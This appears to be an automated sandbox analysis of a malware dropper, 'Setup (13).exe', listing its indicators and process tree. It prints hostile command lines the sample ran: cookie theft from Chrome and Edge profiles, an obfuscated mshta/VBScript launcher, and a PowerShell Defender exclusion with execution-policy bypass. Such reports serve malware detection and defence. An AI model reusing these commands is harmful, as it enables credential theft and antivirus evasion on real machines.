6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Setup (13).exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 14 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 205 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 138 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 184 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 199 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 399 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 133 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 206 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 210 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 176 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 195 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 395 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 130 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 164 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 167 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup (13).exeultradumnibour.exeWerFault.exeWerFault.exeWerFault.exepid process 3184 Setup (13).exe 3184 Setup (13).exe 3272 ultradumnibour.exe 3272 ultradumnibour.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 2260 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 4464 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe 1268 WerFault.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
PzdQ5gevBDZ7lZbUEiooSIWQ.exepid process 3036 PzdQ5gevBDZ7lZbUEiooSIWQ.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
FVsZH3eeafrePca25ZaqMrVR.exeultradumnibour.exeuEPksZOek25oIb0bab6RhDEQ.exe__fkFwFy8mYDom5ZLau5MI9G.exeWerFault.exeWerFault.exeLWdSlx6KnNPyDD9ErA9ux6Z3.exegJBLIo5Scuf_eAWu_sx5Y9hP.exez51kerXhR4qCMxvBM5dLo_1P.exe2658618.exeWerFault.exetaskkill.exe6027458.exeWerFault.exe06BUlcOSX27s6NwuBE1PUK8f.exeDFTLome9bZrB0aNUEeoX_McI.exe3488781.exeWerFault.exeeX4vpKU0AZTMWPK6YA6XwNGv.exe5sQ5Z7CPRdquSOgoP1PJF8PK.exeWeather.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2572 FVsZH3eeafrePca25ZaqMrVR.exe Token: SeDebugPrivilege 3272 ultradumnibour.exe Token: SeDebugPrivilege 4404 uEPksZOek25oIb0bab6RhDEQ.exe Token: SeDebugPrivilege 4640 __fkFwFy8mYDom5ZLau5MI9G.exe Token: SeRestorePrivilege 2260 WerFault.exe Token: SeBackupPrivilege 2260 WerFault.exe Token: SeDebugPrivilege 2260 WerFault.exe Token: SeDebugPrivilege 4464 WerFault.exe Token: SeDebugPrivilege 2776 LWdSlx6KnNPyDD9ErA9ux6Z3.exe Token: SeDebugPrivilege 2304 gJBLIo5Scuf_eAWu_sx5Y9hP.exe Token: SeDebugPrivilege 2052 z51kerXhR4qCMxvBM5dLo_1P.exe Token: SeDebugPrivilege 3152 2658618.exe Token: SeDebugPrivilege 1268 WerFault.exe Token: SeDebugPrivilege 4368 taskkill.exe Token: SeDebugPrivilege 4128 6027458.exe Token: SeDebugPrivilege 1368 WerFault.exe Token: SeDebugPrivilege 4604 06BUlcOSX27s6NwuBE1PUK8f.exe Token: SeDebugPrivilege 3496 DFTLome9bZrB0aNUEeoX_McI.exe Token: SeDebugPrivilege 4768 3488781.exe Token: SeDebugPrivilege 5308 WerFault.exe Token: SeDebugPrivilege 4088 eX4vpKU0AZTMWPK6YA6XwNGv.exe Token: SeDebugPrivilege 1760 5sQ5Z7CPRdquSOgoP1PJF8PK.exe Token: SeDebugPrivilege 3220 Weather.exe Token: SeDebugPrivilege 5596 WerFault.exe Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 Token: SeShutdownPrivilege 2984 Token: SeCreatePagefilePrivilege 2984 -
Suspicious use of FindShellTrayWindow 8 IoCs
Processes:
u5m_dneJ4qJSegTcL3IYsNNI.tmpCleaner Installation.exeInlog.tmpWEATHER Manager.tmpVPN.tmpStats.tmppid process 4452 u5m_dneJ4qJSegTcL3IYsNNI.tmp 5636 Cleaner Installation.exe 2984 2984 5872 Inlog.tmp 5916 WEATHER Manager.tmp 6120 VPN.tmp 5720 Stats.tmp -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
builder.exepid process 5256 builder.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup (13).exeu5m_dneJ4qJSegTcL3IYsNNI.exedescription pid process target process PID 3184 wrote to memory of 2572 3184 Setup (13).exe FVsZH3eeafrePca25ZaqMrVR.exe PID 3184 wrote to memory of 2572 3184 Setup (13).exe FVsZH3eeafrePca25ZaqMrVR.exe PID 3184 wrote to memory of 2776 3184 Setup (13).exe LWdSlx6KnNPyDD9ErA9ux6Z3.exe PID 3184 wrote to memory of 2776 3184 Setup (13).exe LWdSlx6KnNPyDD9ErA9ux6Z3.exe PID 3184 wrote to memory of 2776 3184 Setup (13).exe LWdSlx6KnNPyDD9ErA9ux6Z3.exe PID 3184 wrote to memory of 3496 3184 Setup (13).exe DFTLome9bZrB0aNUEeoX_McI.exe PID 3184 wrote to memory of 3496 3184 Setup (13).exe DFTLome9bZrB0aNUEeoX_McI.exe PID 3184 wrote to memory of 3496 3184 Setup (13).exe DFTLome9bZrB0aNUEeoX_McI.exe PID 3184 wrote to memory of 1628 3184 Setup (13).exe rn70hcRnuRJ68siCwhAjyIUa.exe PID 3184 wrote to memory of 1628 3184 Setup (13).exe rn70hcRnuRJ68siCwhAjyIUa.exe PID 3184 wrote to memory of 1628 3184 Setup (13).exe rn70hcRnuRJ68siCwhAjyIUa.exe PID 3184 wrote to memory of 2332 3184 Setup (13).exe IwS3Hcnw6LP_TtlIUOcgdRUY.exe PID 3184 wrote to memory of 2332 3184 Setup (13).exe IwS3Hcnw6LP_TtlIUOcgdRUY.exe PID 3184 wrote to memory of 2332 3184 Setup (13).exe IwS3Hcnw6LP_TtlIUOcgdRUY.exe PID 3184 wrote to memory of 752 3184 Setup (13).exe VG19u56N4J6FYGC53NDwQ152.exe PID 3184 wrote to memory of 752 3184 Setup (13).exe VG19u56N4J6FYGC53NDwQ152.exe PID 3184 wrote to memory of 752 3184 Setup (13).exe VG19u56N4J6FYGC53NDwQ152.exe PID 3184 wrote to memory of 3036 3184 Setup (13).exe PzdQ5gevBDZ7lZbUEiooSIWQ.exe PID 3184 wrote to memory of 3036 3184 Setup (13).exe PzdQ5gevBDZ7lZbUEiooSIWQ.exe PID 3184 wrote to memory of 3036 3184 Setup (13).exe PzdQ5gevBDZ7lZbUEiooSIWQ.exe PID 3184 wrote to memory of 2304 3184 Setup (13).exe gJBLIo5Scuf_eAWu_sx5Y9hP.exe PID 3184 wrote to memory of 2304 3184 Setup (13).exe gJBLIo5Scuf_eAWu_sx5Y9hP.exe PID 3184 wrote to memory of 2304 3184 Setup (13).exe gJBLIo5Scuf_eAWu_sx5Y9hP.exe PID 3184 wrote to memory of 2228 3184 Setup (13).exe v1QoyhLJ39YKHNKo3EQLlLwF.exe PID 3184 wrote to memory of 2228 3184 Setup (13).exe v1QoyhLJ39YKHNKo3EQLlLwF.exe PID 3184 wrote to memory of 2228 3184 Setup (13).exe v1QoyhLJ39YKHNKo3EQLlLwF.exe PID 3184 wrote to memory of 2276 3184 Setup (13).exe 3U24wEZH6FRWCUiKHoqRaXCu.exe PID 3184 wrote to memory of 2276 3184 Setup (13).exe 3U24wEZH6FRWCUiKHoqRaXCu.exe PID 3184 wrote to memory of 2276 3184 Setup (13).exe 3U24wEZH6FRWCUiKHoqRaXCu.exe PID 3184 wrote to memory of 3716 3184 Setup (13).exe aTu2o7BTEmyRQv1F8FOgNuKk.exe PID 3184 wrote to memory of 3716 3184 Setup (13).exe aTu2o7BTEmyRQv1F8FOgNuKk.exe PID 3184 wrote to memory of 3716 3184 Setup (13).exe aTu2o7BTEmyRQv1F8FOgNuKk.exe PID 3184 wrote to memory of 3272 3184 Setup (13).exe ultradumnibour.exe PID 3184 wrote to memory of 3272 3184 Setup (13).exe ultradumnibour.exe PID 3184 wrote to memory of 2052 3184 Setup (13).exe z51kerXhR4qCMxvBM5dLo_1P.exe PID 3184 wrote to memory of 2052 3184 Setup (13).exe z51kerXhR4qCMxvBM5dLo_1P.exe PID 3184 wrote to memory of 2052 3184 Setup (13).exe z51kerXhR4qCMxvBM5dLo_1P.exe PID 3184 wrote to memory of 1104 3184 Setup (13).exe 5sQ5Z7CPRdquSOgoP1PJF8PK.exe PID 3184 wrote to memory of 1104 3184 Setup (13).exe 5sQ5Z7CPRdquSOgoP1PJF8PK.exe PID 3184 wrote to memory of 1104 3184 Setup (13).exe 5sQ5Z7CPRdquSOgoP1PJF8PK.exe PID 3184 wrote to memory of 1820 3184 Setup (13).exe c3GiFBR61cYbL_llC9XXVtpC.exe PID 3184 wrote to memory of 1820 3184 Setup (13).exe c3GiFBR61cYbL_llC9XXVtpC.exe PID 3184 wrote to memory of 1960 3184 Setup (13).exe eX4vpKU0AZTMWPK6YA6XwNGv.exe PID 3184 wrote to memory of 1960 3184 Setup (13).exe eX4vpKU0AZTMWPK6YA6XwNGv.exe PID 3184 wrote to memory of 1960 3184 Setup (13).exe eX4vpKU0AZTMWPK6YA6XwNGv.exe PID 3184 wrote to memory of 1860 3184 Setup (13).exe Yu0K1THJGPVSJl7R3jPQ1Vw9.exe PID 3184 wrote to memory of 1860 3184 Setup (13).exe Yu0K1THJGPVSJl7R3jPQ1Vw9.exe PID 3184 wrote to memory of 1860 3184 Setup (13).exe Yu0K1THJGPVSJl7R3jPQ1Vw9.exe PID 3184 wrote to memory of 3928 3184 Setup (13).exe u5m_dneJ4qJSegTcL3IYsNNI.exe PID 3184 wrote to memory of 3928 3184 Setup (13).exe u5m_dneJ4qJSegTcL3IYsNNI.exe PID 3184 wrote to memory of 3928 3184 Setup (13).exe u5m_dneJ4qJSegTcL3IYsNNI.exe PID 3184 wrote to memory of 4200 3184 Setup (13).exe AG4fPIyeZYtrxBV5YRK25JvI.exe PID 3184 wrote to memory of 4200 3184 Setup (13).exe AG4fPIyeZYtrxBV5YRK25JvI.exe PID 3184 wrote to memory of 4200 3184 Setup (13).exe AG4fPIyeZYtrxBV5YRK25JvI.exe PID 3184 wrote to memory of 4212 3184 Setup (13).exe T_AG8tDKvAp_h29MoWbMcXIL.exe PID 3184 wrote to memory of 4212 3184 Setup (13).exe T_AG8tDKvAp_h29MoWbMcXIL.exe PID 3184 wrote to memory of 4212 3184 Setup (13).exe T_AG8tDKvAp_h29MoWbMcXIL.exe PID 3184 wrote to memory of 4240 3184 Setup (13).exe taskkill.exe PID 3184 wrote to memory of 4240 3184 Setup (13).exe taskkill.exe PID 3184 wrote to memory of 4240 3184 Setup (13).exe taskkill.exe PID 3184 wrote to memory of 4404 3184 Setup (13).exe uEPksZOek25oIb0bab6RhDEQ.exe PID 3184 wrote to memory of 4404 3184 Setup (13).exe uEPksZOek25oIb0bab6RhDEQ.exe PID 3928 wrote to memory of 4452 3928 u5m_dneJ4qJSegTcL3IYsNNI.exe u5m_dneJ4qJSegTcL3IYsNNI.tmp PID 3928 wrote to memory of 4452 3928 u5m_dneJ4qJSegTcL3IYsNNI.exe u5m_dneJ4qJSegTcL3IYsNNI.tmp
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (13).exe"C:\Users\Admin\AppData\Local\Temp\Setup (13).exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\IwS3Hcnw6LP_TtlIUOcgdRUY.exe"C:\Users\Admin\Documents\IwS3Hcnw6LP_TtlIUOcgdRUY.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 16283⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Documents\rn70hcRnuRJ68siCwhAjyIUa.exe"C:\Users\Admin\Documents\rn70hcRnuRJ68siCwhAjyIUa.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "rn70hcRnuRJ68siCwhAjyIUa.exe" /f & erase "C:\Users\Admin\Documents\rn70hcRnuRJ68siCwhAjyIUa.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "rn70hcRnuRJ68siCwhAjyIUa.exe" /f4⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\DFTLome9bZrB0aNUEeoX_McI.exe"C:\Users\Admin\Documents\DFTLome9bZrB0aNUEeoX_McI.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\LWdSlx6KnNPyDD9ErA9ux6Z3.exe"C:\Users\Admin\Documents\LWdSlx6KnNPyDD9ErA9ux6Z3.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\FVsZH3eeafrePca25ZaqMrVR.exe"C:\Users\Admin\Documents\FVsZH3eeafrePca25ZaqMrVR.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\3488781.exe"C:\Users\Admin\AppData\Roaming\3488781.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6027458.exe"C:\Users\Admin\AppData\Roaming\6027458.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\5634537.exe"C:\Users\Admin\AppData\Roaming\5634537.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\2658618.exe"C:\Users\Admin\AppData\Roaming\2658618.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\3U24wEZH6FRWCUiKHoqRaXCu.exe"C:\Users\Admin\Documents\3U24wEZH6FRWCUiKHoqRaXCu.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
- Drops startup file
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\v1QoyhLJ39YKHNKo3EQLlLwF.exe"C:\Users\Admin\Documents\v1QoyhLJ39YKHNKo3EQLlLwF.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 6723⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 7323⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 7043⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 10763⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\gJBLIo5Scuf_eAWu_sx5Y9hP.exe"C:\Users\Admin\Documents\gJBLIo5Scuf_eAWu_sx5Y9hP.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\PzdQ5gevBDZ7lZbUEiooSIWQ.exe"C:\Users\Admin\Documents\PzdQ5gevBDZ7lZbUEiooSIWQ.exe"2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\VG19u56N4J6FYGC53NDwQ152.exe"C:\Users\Admin\Documents\VG19u56N4J6FYGC53NDwQ152.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\VG19u56N4J6FYGC53NDwQ152.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\VG19u56N4J6FYGC53NDwQ152.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\VG19u56N4J6FYGC53NDwQ152.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\VG19u56N4J6FYGC53NDwQ152.exe") do taskkill -IM "%~nXW" -f4⤵
-
C:\Users\Admin\Documents\aTu2o7BTEmyRQv1F8FOgNuKk.exe"C:\Users\Admin\Documents\aTu2o7BTEmyRQv1F8FOgNuKk.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\ATU2O7~1.DLL,s C:\Users\Admin\DOCUME~1\ATU2O7~1.EXE3⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\ATU2O7~1.DLL,blkVNEY=4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\ATU2O7~1.DLL5⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\ATU2O7~1.DLL,aTI2bVA=5⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 318046⤵
-
C:\Windows\system32\ctfmon.exectfmon.exe7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp9519.tmp.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp6F9F.tmp.ps1"5⤵
-
C:\Windows\SysWOW64\nslookup.exe"C:\Windows\system32\nslookup.exe" -type=any localhost6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /End /tn \Microsoft\Windows\Wininet\CacheTask5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask5⤵
-
C:\Users\Admin\Documents\_BApLYnxTeHuCfX6rtEL6jH_.exe"C:\Users\Admin\Documents\_BApLYnxTeHuCfX6rtEL6jH_.exe"2⤵
-
C:\Users\Admin\Documents\_BApLYnxTeHuCfX6rtEL6jH_.exe"C:\Users\Admin\Documents\_BApLYnxTeHuCfX6rtEL6jH_.exe"3⤵
-
C:\Windows\System32\MtcModel\conhost.exe"C:\Windows\System32\MtcModel\conhost.exe"4⤵
-
C:\Users\Admin\Documents\u5m_dneJ4qJSegTcL3IYsNNI.exe"C:\Users\Admin\Documents\u5m_dneJ4qJSegTcL3IYsNNI.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-J0FRU.tmp\u5m_dneJ4qJSegTcL3IYsNNI.tmp"C:\Users\Admin\AppData\Local\Temp\is-J0FRU.tmp\u5m_dneJ4qJSegTcL3IYsNNI.tmp" /SL5="$8007A,138429,56832,C:\Users\Admin\Documents\u5m_dneJ4qJSegTcL3IYsNNI.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-21G9A.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-21G9A.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
